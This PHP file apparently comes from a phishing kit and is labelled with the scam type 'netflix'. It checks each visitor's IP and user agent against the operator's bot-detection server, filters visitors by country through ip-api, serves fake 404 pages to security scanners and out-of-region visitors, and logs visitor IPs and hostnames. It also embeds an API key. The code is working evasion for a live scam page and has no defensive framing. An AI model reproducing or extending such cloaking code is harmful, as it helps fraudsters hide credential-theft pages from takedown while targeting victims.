<?php
function get_client_ip()
{
    $ipaddress = '';
    if (getenv('HTTP_CLIENT_IP'))
        $ipaddress = getenv('HTTP_CLIENT_IP');
    else if (getenv('HTTP_X_FORWARDED_FOR'))
        $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
    else if (getenv('HTTP_X_FORWARDED'))
        $ipaddress = getenv('HTTP_X_FORWARDED');
    else if (getenv('HTTP_FORWARDED_FOR'))
        $ipaddress = getenv('HTTP_FORWARDED_FOR');
    else if (getenv('HTTP_FORWARDED'))
        $ipaddress = getenv('HTTP_FORWARDED');
    else if (getenv('REMOTE_ADDR'))
        $ipaddress = getenv('REMOTE_ADDR');
    else
        $ipaddress = 'UNKNOWN';
    return $ipaddress;
}

$ip =  get_client_ip();
$ini = parse_ini_file(__DIR__ . '/app.ini');
$curl = curl_init("http://" . $ini['server_ip'] . "/api/is-bot");
curl_setopt($curl, CURLOPT_TIMEOUT, 25);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, ["bot_ip" => "$ip", "scam_type" => "netflix"]);
$headers = array();
$headers[] = 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"];
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($curl);

curl_close($curl);

$res = json_decode($result, true);

if ($res['block']) {
    $content = "#> " . $ip . " [ Blocked From Server ] \r\n";
    $save = fopen(__DIR__ . "/bot_server.txt", "a+");
    fwrite($save, $content);
    fclose($save);
    header("HTTP/1.0 404 Not Found");
    exit();
}

$hostname = gethostbyaddr($ip);
function getIPCountry($ip)
{
    $curl = curl_init('https://pro.ip-api.com/json/' . $ip . '?key=wUoObwpQXWHPf6N');
    curl_setopt($curl, CURLOPT_TIMEOUT, 25);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($curl);

    curl_close($curl);

    return json_decode($result, true);
}
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
if (empty($_SESSION['checked_bot_country']) || $_SESSION['checked_bot_country'] !== $ip) {
    $crep = getIPCountry($ip);
    if (!empty($crep) && key_exists('country', $ini) && !empty($ini["country"])) {
        $allowedCountries = explode(",", $ini["country"]);
        $country = $crep["countryCode"];

        $allowedCountries = array_map(function ($country) {
            return strtoupper($country);
        }, $allowedCountries);
        if (!in_array(strtoupper($country), $allowedCountries)) {
            $_SESSION['checked_bot_country'] = "no";
        } else {
            $_SESSION['checked_bot_country'] = $ip;
        }
    }
}
if (!empty($_SESSION['checked_bot_country']) && $_SESSION['checked_bot_country'] === "no") {
    $content = "#> " . $ip  . " (" . $hostname . ") < " . $_SERVER['HTTP_USER_AGENT'] . " > [ " . date('H:i:s d/m/Y') . " ] \r\n";

    $save = fopen(__DIR__ . "/ban_ip_country.txt", "a+");
    fwrite($save, $content);
    fclose($save);

    exit("Not found 404");
}
